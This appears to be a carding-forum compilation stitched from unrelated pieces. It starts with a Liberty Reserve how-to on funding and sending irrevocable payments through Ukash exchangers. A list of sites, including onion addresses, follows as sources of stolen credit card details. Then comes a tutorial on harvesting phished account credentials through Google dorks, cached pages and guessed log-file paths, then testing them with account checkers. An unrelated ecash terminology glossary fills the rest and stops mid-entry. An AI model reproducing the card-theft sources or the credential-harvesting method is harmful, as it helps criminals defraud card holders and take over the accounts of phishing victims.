Liberty Reserve is an account-based payment system where you can store value in U.S. Dollars, Euro or Gold Grams and transfer payments to others and receive payments from others. It is safe, reliable and confidential. Payments are irrevocable (meaning they cannot be reversed). Liberty Reserve is instant, real-time currency for international commerce. In just minutes, you can send and receive payments from anyone, anywhere on the globe!

Question 2.
how do i register with Liberty Reserve ?.

Answer.
You can Register and account here http://libertyreserve.com
Account registration
Creating an account is easy at Liberty Reserve. Simply enter your details, such as your name, account title, and address, etc., and you will have a full-functioning, free Liberty Reserve account in minutes. Remember to write down all the information for future reference such as your Login PIN, Master Key, password, account number, etc.

Logging in
Once you create a Liberty Reserve account, you may access your account by logging in with your account number, password, and login PIN in order to access the value in your account and make payments, check history, use the internal messaging system, etc.

Profile settings
Once you are logged into your account at Liberty Reserve, you can click on "profile" and change your account name, contact information, etc. On 'Settings' section you can change password, Login PIN, Master Key, CWM and other features, such as email notifications.

Transfer
This feature allows you to send funds (make payments) to any other Liberty Reserve account instantly.

Withdraw
You can withdraw (redeem) value from your Liberty Reserve account by using any number of independent exchange providers Usually, exchange providers will have an account number starting with the letter, "x".

Exchange providers are not affiliated with Liberty Reserve and your dealings with them are at your own risk.

Deposit
You can deposit funds or value to your Liberty Reserve account by using any number of independent exchange providers
Exchange providers are not affiliated with Liberty Reserve and your dealings with them are at your own risk.

Internal messaging
Once you are logged into your Liberty Reserve account, you can send private messages to anyone else with a Liberty Reserve account. All you need to know is their account number. You can also check your message inbox to see if you received any messages, and you can save messages. This is a private, internal messaging system developed exclusively for Liberty Reserve account holders

Question 3.
Were can i Load my liberty Reserve account

Answer.
The simplist and fastest way to load you liberty reserve account with funds is to use UKASH
Which can be bought in most shops and convenience stores in europe america and bassically all over the world
check this link to find out were is the nearest place to you that sels ukash
http://www.ukash.com/uk/en/where-to-get.aspx#

Once you have found a place to buy ukash you will need to exchange it to Liberty reserve
there is many exchangers online who can do this for you you
(example) http://ukashtoliberty.com
go to whatever site you choose to use and fill in the details
and they will convert your ukash to liberty resrev and deposit directly into your liberty reserve account

Question 4.
now i have liberty reserve how do i spend it

Answer.
You will need to know the account number of the person you are sending it to (example) U12345XX
Go to the transfer section of your liberty reserve account and fill out the details required
the amount and the Liberty account number you want to send it to
and press send
you will be redirected to a page confirming you payment has been sent
giving you a batch number connected only to that specifc payment

i hope this simple tutorial explains how to use Liberty reserve
if you are having any problems doing this post your questions here and me or someone else
will answer them for you

NEVER SEND ANYONE WESTERN UNION UNLESS THEY ARE A REGISTERED E-CURRENCY CONVERTOR***
AND DONT ALLOW ANYONE HERE FROM THIS OR ANY FORUM TO MAKE A CONVERSION FOR YOU
IF YOU CANT DO THIS BY YOURSELF AFTER READING THIS TUTORIAL MAYBE YOU ARE NOT MEANT TO BE DOING THESE KIND OF THING IS NOT FOR YOU

Sites to get you Credit Card Details from.

- https://drk.bz
- http://carderbase.su/
- http://anonnews.org
- http://cardingplanet.biz/
- http://freecc.mboards.com/1940634-free-cc-fresh-dumps-track-1-2/
- http://qhkt6cqo2dfs2llt.onion
- http://elitezone.forumotion.bz
- http://karder.4umer.com
- http://mxdcyv6gjs3tvt5u.onion

Stealing from phishers

I was amazed, it is so easy.

Here is how you do it:

Contents:

Step 1 (Finding hosts)
Step 2 (Getting logs)
Step 3 (Other way to get logs)
Step 4 Check the quality
Step 5 Enjoy

Step 1

You need a list of hosters phishers use. Search for free hosts which allow php. In this tutorial I will be using malware-site.www(site down) , which is used a lot by phishers.

Step 2

Getting logs.

Choose a site from the list made in step one. Go to google and search for:
Code:
site:malware-site.www filetype:txt

Now the results will show .txt files on that hoster. Go through the results and you will find phishers soon. Open them and save them. Congratulations, you stole from a phisher!

Step 3

However most of the time the hoster will have shut down the phisher. There is a nice trick for this. Just use googles cache. I love the cache <3! Then save, and you stole from the phisher!

Step 4

You need to check the quality. For this you can randomly choose accounts and try them. But a better method are account checkers. You insert your list there and that program checks all of them for you. They are great. Just search for them, Let them check, and save the accounts that work.

Step 5

Now have fun.

Also if you find a phisher you should try:

www.site.com/log.txt
www.site.com/log_.txt
www.site.com/_log.txt
www.site.com/defaultlog.txt
www.site.com/lol.txt
www.site.com/lolz.txt

etc You might get lucky!

Terminology of payment systems

Abandon Trial – (Purse) In some (trial) versions of the ecash Purse the Abandon Trial function is provided. After confirming the instruction the Purse will Cancel any outstanding Payments, Deposit the ecash held by the Purse, and instruct that the Account status be changed to ‘disabled’. Thereafter the Account cannot be used.

Abort Transaction – (cf. Cancel Transaction) In some versions of the ecash Purse the Abort function is provided to stop the exchange of messages, and send a message which requests a roll-back to the start of the protocol. The software can then verify whether the transaction has been successfully aborted. This

function is not included in all software versions, and, given the time/sequence factors and the general complexities of Internet protocols, it cannot always be successful.

Accepted – (The Transaction Status is indicated for each transaction in the Transaction Log). A transaction is assigned 'Accepted' status after execution has been acknowledged or verified. The 'Accepted' (or 'OK') status is regarded as the default and shows no icon in the appropriate field (see Transaction Status Icons).

Account (ecash Account) – A Purse-holder's (digital) Account with a Mint (sometimes known as a Safe). For an ecash client to function, each Purse-holder must have one or more such Accounts at an operational Mint run by an ecash Issuer. Each Account is in a specified currency. An ecash Account may be maintained separately or as a feature of an existing conventional bank account or credit card, etc. Purse-holders can open one or more ecash Accounts with one or more Issuers, and may therefore own several Account IDs.

Account ID – The Account name on a digital Account. (Although this may include any combination of alpha-numeric characters such as an email address.) The Account ID is not necessarily globally unique (although it assumed to be so when concatenated with the Issuer ID) (see also email address, below).

Account Number – A unique number within the Mint which (in conjunction with the Mint Number or Mint ID) serves as a globally unique identifier.

Account Status – Each Account is associated with one of the following states – Enabled, Disabled or Unused.

Accounts Window – (Purse) The main ecash window includes an overview of Mint and Purse balances and presents buttons which access basic functions such as Withdrawal, Deposit and Refresh Coins.

API – The Application Programmer's Interface provides tools for software developers who are implementing ecash applications.

Authentication – A procedure to verify that the originator of a message is the same as the sender that is stated. (cf. verification, integrity, uniqueness).

Authorisation string – A set of data fields that contains the authorisation to transfer money from an Account.

Back-up – The ecash client tries to retain 100% consistency with the records of the issuing Mint; therefore it is not advisable to back up the client data-files locally. Do not make copies of ecash data-files except as part of one of the procedures documented in the manual. If a local crash occurs (causing loss of data on your PC) you should use the Recovery procedure as documented (which bases the Recovery on files kept by the Issuer's Mint).

Balance Limits – Variable factor which can be used by the Issuer to set the upper (and lower) limits of cash which can be held in an ecash account. Bank Withdrawals which would result in an excessive balance (high or low) will be rejected by the Mint with an explanatory message.

Bank – The Bank is the institution which underwrites the value of its own bank-notes. An ecash-issuing bank is called an Issuer. An Issuer runs a computer to produce electronic coins. This computer and its ecash software are referred to as the Mint.

Bank Deposit – (cf. Deposit) The transfer of funds from the ecash Mint Account to the Bank Account (as distinct from a Deposit; which is a transfer from the Purse to the ecash Mint Account).

Bank Withdrawal – (Purse) (cf. Withdrawal) The transfer of funds from the (conventional) bank account to the ecash Account at the Mint (as applicable to Issuers where these two accounts are separately

identified). In contrast, the term Withdrawal is used to indicate transfer of funds from an online (Mint) account to the Purse (client).

Base Coin Value – The lowest value of coin in any particular Coinage. See Coinage (below).

Blinding Factor – (Purse) The essential element for anonymous Payment systems. The Blinding Factor is calculated into the coin number by the user before it is sent to the bank for validation. It is subsequently removed again before the coin is used in a Payment. Thanks to the blinding factor, the number which was signed (by the Mint, during a withdrawal) cannot be associated with the number which was returned (to the Mint, during a Deposit), although certain unique (mathematical) characteristics have been retained.

Cancel Payment – (Purse) If a Payment of digital coins has been Deposited by the payee at the Mint then it is not possible to Cancel Payment. However by reporting the coins as invalid and proving the user's identity as the legitimate owner of the coins, the system will accept cancellation of unredeemed coins. Coins used in a specified Payment are invalidated by the cancellation procedure, and will be refused if they are subsequently presented to the Mint. In order to Cancel coins the user must prove ownership by revealing the coin number and thereby surrender a limited degree of anonymity.

cb$ (cyberbucks) – Trial currency with no real value (as used in trials of ecash).

CGI – CGI scripts are used to provide certain ecash server functions. Specifically they are used in implementing the shop's charge script and providing other configuration options.

Change Password – (Purse) Providing that the user can enter the current (Mint or Purse) Password, this procedure will allow them to change it. The same string must be entered twice in order to confirm the change.

Charge Script – (Merchant) The shop is constructed so that it can take input about the items to be sold and calculate a price. The CGI script refers the input information to a charge script. The output from the script (i.e. the price) is then referred to the Payment Request mechanism which sends a message to the client requesting Payment.

Coin – The ecash payment method is based on Coins – a Coin is the digital equivalent of a traditional coin and similar in that it has a specified value, but carries no 'imprint' to identify the (current) owner. Unlike traditional coinage, the Coins, once received by the Merchant's Purse, cannot be passed directly to a third party, but have to be Deposited at the Mint first.

Coin Distribution – (Purse) The Purse tries to keep an assortment of coin denominations so that the number of possible Payment amounts is optimized. Typically it will try to ensure that there are sufficient coins to complete at least 8 transactions of the lower values. (See also Refresh Coins).

Coinage – A set of digital coins issued by the Mint and designated with the same Coinage Version Number. Each Coinage issued by the Mint is based on a set of defined values including the Currency, the expiry dates, the number of coins in the series and the Base Coin Value (the value of the first / lowest value Coin in any Coinage), It is linked to a specified set of Coin Keys.

Coin(age) Expiry Date – Each Coinage Version expires according to a Phased Expiry Schedule (see below) which specifies the dates on which all Coins made in a specified Coinage will cease to be functional. After the expiry date the ecash client software waits for a connection to the Mint (i.e. the next Check Mint, Deposit or Withdrawal transaction), and exchanges expired coins for freshly minted ecash. At a later date (determined by the Issuer) it will become necessary to make a special request to the bank, and the Issuer may require some time to check the validity of the expired coins before they can be reissued.

Command Line – Non-graphic clients (used for ecash by Merchants and some UNIX users) are operated using a series of key commands entered in text mode. This type of interface is also used in MS DOS to

configure system executables. The application presents a prompt and responds to the input command directly.

Confidentiality – The property of a message such that it cannot be decoded or read by an unauthorized third party.

Crash – see Recovery

Create / Terminate Account – In order to maintain a clear distinction, the terms Create (and Terminate) are used to describe the procedure by which ecash Accounts are defined and established at the Mint. Following a request from the user an Account is assigned or 'Created'. When the Set-up Protocol is performed, the Account receives an opening transaction and becomes 'enabled'. If the Account is to be removed from the system then it should first be 'disabled' (so that no new transactions are possible), then closed (including the removal of any outstanding balance) and then 'Terminated' (i.e. removed from the Mint's Account Database). Thereafter the Account will no longer exist.

Currency – All ecash money is denoted in a currency. The currency might be an existing 'real-world' currency, such as the US dollar, or the Dutch guilder, but ecash is not restricted to existing currencies. Alternatively, the currency might be a precious metal, stocks, bonds, futures, coconuts, e-miles, airmiles, oil or any other trading item. Strictly speaking, the currency is also defined by the Issuer and the currency-fraction (also known as the 'granularity'). Thus, dollar amounts are represented in cents (1/100th of one dollar), and oil amounts are represented in (full) barrels. Each currency is defined by a unique Currency ID. (See also Coin Denomination Distribution).

Denomination – The integer value of a coin, expressed in the currency-fractions.

Deposit – (Purse) (cf. Bank Deposit) The sending, by the Purse, of (a number of) ecash Coins to the ecash Account. These may be Coins which have been received as Payment (i.e. 'Deposit Payment') or Coins stored on the Purse-holder's hard disk and not spent(i.e. 'Deposit Cash'). The Purse software also renews any expired Coins by Depositing them at the Mint and making an equivalent Withdrawal.

Digital Signature – A technique using Public Key Cryptography that allows one party (the signer) to attach a digital signature to a (digital) message. The signature can only be created by the signer, and all other parties in the system can verify that the message was indeed signed by the signer. Digital signatures are mainly used to provide Authentication.

Disable Account – Although some clients can access this function via the Abandon Trial routine, the bank is usually directly responsible for the ecash Account status recorded at the Mint. It can be changed using the various Mint Management interfaces.

Email Address – If you wish to change email addresses you should inform your Issuer (whose policy may require that the Account ID is also changed accordingly). Merchants are assigned a more complete corporate description as ID. An Account ID such as 'J.R. Smith (Engineering) Ltd.' is a clearer identifier than the accompanying email address (e.g. smith@net.co.uk) and helps to ensure that customers send their Payments to clearly identified Merchants.

Encryption – Process by which information is encoded , so that it can only be read by the holder of the appropriate decryption key. Encryption is used to provide confidentiality of messages.

Error Codes – Error codes comprise an explanatory message and (in some clients) a numerical reference. The online help page refers the browser to an explanatory text for each message. Error codes are also listed in the Purse User manual.

(Purse) Event Log – The log which records the message exchanges and protocol execution of the ecash client. This log is useful when an error appears to have occurred and can be accessed from the ecash software in most instances.

(Mint) Event Log – Log which records the activity of the Mint, unsuccessful attempts to contact it and aborted protocols. It also maintains a list of completed transactions.

Expired Coins – Coins which have passed their pre-determined expiration date are detected by the Purse software. They are automatically exchanged for fresh coins during the next Withdrawal or Deposit transaction (or manually when the 'Refresh Coins' function is used).

Filter – A range of functions which can be used to sub-divide the entries in a Transaction Log, so that only transactions which fall inside the user-specified parameters are shown in the listing. The filters can be used to list transactions of a particular type (e.g. Payments) or to establish a range of dates.

Firewall – A firewall is a computer which is placed between a local network and the Internet. Its main function is to restrict the types of connections which can be made. Operating ecash client software from behind a firewall (whether Merchant or end-user) usually requires some degree of additional installation or configuration. Information about this is provided in the appropriate manuals.

Generate Keys – (Purse) The Account is supplied to the customer along with a Set-up Password. Once this has been correctly entered, the client asks for random data, some of which is used to generate a unique pair of keys. This process can take several minutes on PCs with slower processors, during which time no activity is shown on the screen.

Global ID – A name which is globally unique can be constructed by adding a unique external address (such as Mint ID, email address or IP address) and an internally unique address (such as Account number).

Hash – A basic cryptographic function. A hash function is a form of checksum on a large message. The basic property is that it is not computationally feasible (i.e. impossible in practice) to find two different messages whose hash value is the same. Even the smallest change in the sequence of characters results in a dramatic shift in the hash value.

Integrity – The property of a message such that it is possible to verify that it has not been changed or altered by any third party. (cf. verification, integrity, uniqueness).

Issuer (ecash Issuer) – An ecash Issuer is an institution that provides digital Accounts, by operating a Mint (ecash 2.3). It has its own keys for issuing Coins. There may be more than one Issuer in the system. The Issuer underwrites the value of the money in the Accounts and of the Coins it has issued to all other parties in the system.

Key – Any security code which can be used for authentication and encryption purposes by the software.

Key Version Number – A number uniquely identifying the key. When several keys are in use (e.g. while a new key is being introduced) this identifies the key that was used in signing or encrypting the message.

Logs, Databases and Reports – A database is a file which holds information in a pre-configured matrix. Each line of a database file is called a record. (i.e. A record may contain details of an Account, of a Transaction, or of some other 'Mint Event') A Log is an open-ended file which automatically collects and retains some (sub-set or supra-set) of these records in chronological order (Transactions Log, Mint Event Log). Criteria for logging may be pre-configured in the software (e.g. The Purse-holder's Transaction Log includes only the transactions on the named customer's account) or specified as part of the Log creation procedure (e.g. parameters are usually inserted at the command line for generating Mint Logs and Reports). A Report is a sub-set of a Log (which is normally up-to-date at the time of generation) and may include checksums, totals and other arithmetical checks for consistency and auditing purposes. As an alternative to reporting, logs may be 'rotated' (i.e. removed to storage and replaced with an empty file in which the log entries will continue).

Merchant – A Merchant is a Purse-holder (consumer, retailer, shop or service provider) who accepts Payment from other Purse-holders. The Merchant who runs a 'cybershop' will also use shop software which will, in response to user input, generate a Payment Request which is sent via TCP/IP to the customer. If the customer agrees, and returns a Payment message, the Merchant's Purse will Deposit the coins at the Mint (online) and wait for the "Deposit Accepted' message before releasing the goods to the customer. A Merchant is simply a Purse-holder who happens to be receiving the Payment. The shop software adds functionality so that a 'cybershop' can generate and send Payment Requests (using the shop Charge Script) and accept ecash Payments (i.e. Deposit and verify them) automatically.

Merchant ID – A human-readable string used to identify the Merchant's Account in a Payment. See Account ID.

Merchant Purse – The Merchant client is provided with a text-mode interface containing some additional functionality. Unlike the ordinary (end-user) Purse, the Merchant client will also create Payment Requests upon demand, automatically send incoming Payments to the Mint for Deposit.

Mint – Version 2.x of ecash features Issuer software called Mint. The name derives from its primary function, the issuance of digital Coins. The Mint can also handle Accounts and transactions, although these are usually managed from a separate computer.

Mint Account – (syn. ecash Account) The Account from which ecash can be withdrawn is also known as the ecash Account. The designated ecash Account is not always a conventional Bank Account, but may be (for instance) a separately numbered ecash Account at the Mint or a credit card.

Mint ID – In order to ensure that each Mint has a unique identifier and can be uniquely verified, each Mint is provided with a unique number which is included in all encrypted messages to and from the Mint.

Mint Password – (Purse) The Password which the user must enter at the Purse before being able to access the ecash account at the Mint. The Mint Password is therefore required when making a Bank Withdrawal or Bank Deposit.

Network Port – Several parts of the ecash system may require that specific controls are adjusted to indicate network port addresses. This is generally associated with ecash (Purse) software which is being operated from behind a firewall, or ecash shops which are linked to an integration.

Numbe (cf. ID cf. Name) – Frequently used data, such as Account holders, and Transactions, is held in two forms. The numeric form is suitable for the computer, and more easily capable of generating a unique identity for the user. The ID (alphanumeric) form should be text-based (e.g. Name), and bear a clear relationship to the name (and perhaps location) of the Account holder, however this may not be easy to make globally unique and therefore lacks the secured uniqueness of the Number.

Password – When new accounts are created the Mint assigns a Set-up Password which must be passed securely to the Purse-holder. Once this has been used to authenticate the new Purse-holder online, it is supplanted by Mint and Purse Passwords of the Purse-holder's own choice. The unchangeable Recovery Password is generated from random data during the Set-up of each account. This Passsword string must be entered exactly before any Recovery can be initiated.

Paste – Payments of ecash can be included within many different file formats. Select the text area which includes the payment and select 'Copy' (from the Edit Menu) so that the data is placed on your clipboard. Now open your Purse and select Paste (at the top of the Payments Window). Ecash will try to retrieve the coin numbers. The Purse is usually able to ignore other text characters which are part of the message or the application formatting. If the coins are successfully retrieved from the message then you will be presented with a deposit dialog.

Payment – The process of sending a Payment instrument from the Purse to the Merchant, and acknowledgment of the Payment by returning a message to the Purse.

Payment Description – A descriptive string chosen by the Purse-holder and coupled to a Payment. The Payment Description is shown to the Payee (and appears in the Transaction Logs of both parties) and may be used to identify the Payer (if desired) or to provide a text to accompany the Payment.

Payment Request – A message requesting Payment of a specified amount which is sent by a Merchant Purse-holder. The Payment Request includes details of the Account to which Payment should be sent and, in the message field, may include specifications of the goods or services which will be supplied in exchange. The recipient needs only click on one button to agree to Payment and the rest of the process can be handled automatically.

Phased Expiry Schedule – Coins expire in phases according to the specifications of the Coinage to which they belong. The dates for each stage in the expiry are specified in the Coinage Version. After the first expiry date, Coins can no longer be used in Payments but can still be Deposited back into the Purse-holders Account or exchanged for new Coins of equal value. After the final Expiry Date the status of the digital Coins becomes similar to obsolescent bank-notes; i.e. the coins are obsolete and must be submitted to the Issuing Mint for scrutiny before any reimbursement is offered.

(Payment) Policy – (Purse) In some versions of the Purse, the user is provided with functionality which allows them to express a policy for receiving Payments. This can be used to instruct the Purse software to ' Automatically accept all incoming Payments'.

Private Key – The security key-code which can be used for signing and/or decrypting messages. The Private Key is kept secret by the party that created it.

Public Key – The security key-code which can be used to encipher messages or verify signatures that have been created with the associated private key.

Public Key Cryptography – Also known as asymmetric cryptography, the system uses one pair of keys for each user which are designated as Public Key and Private Key. Among its better-known forms are RSA, used in the S.W.I.F.T. system and similar protocols, and the American DSS (Digital Signature Standard).

Purse – The ecash software for the end-user. The main role of the Purse is to protect the interests of the Purse-holder. The Purse takes care of all administrative and cryptographic tasks, and provides a friendly user-interface to the Purse-holder.

Purse-holder – A real-life person or other legal entity that has at least one Account with an Issuer.

Purse Password – The Password created by the user which protects access to the Purse and prevents an unauthorized user from spending the contents of the Purse.

Purse Window – The Purse window shows the ecash toolbar and currency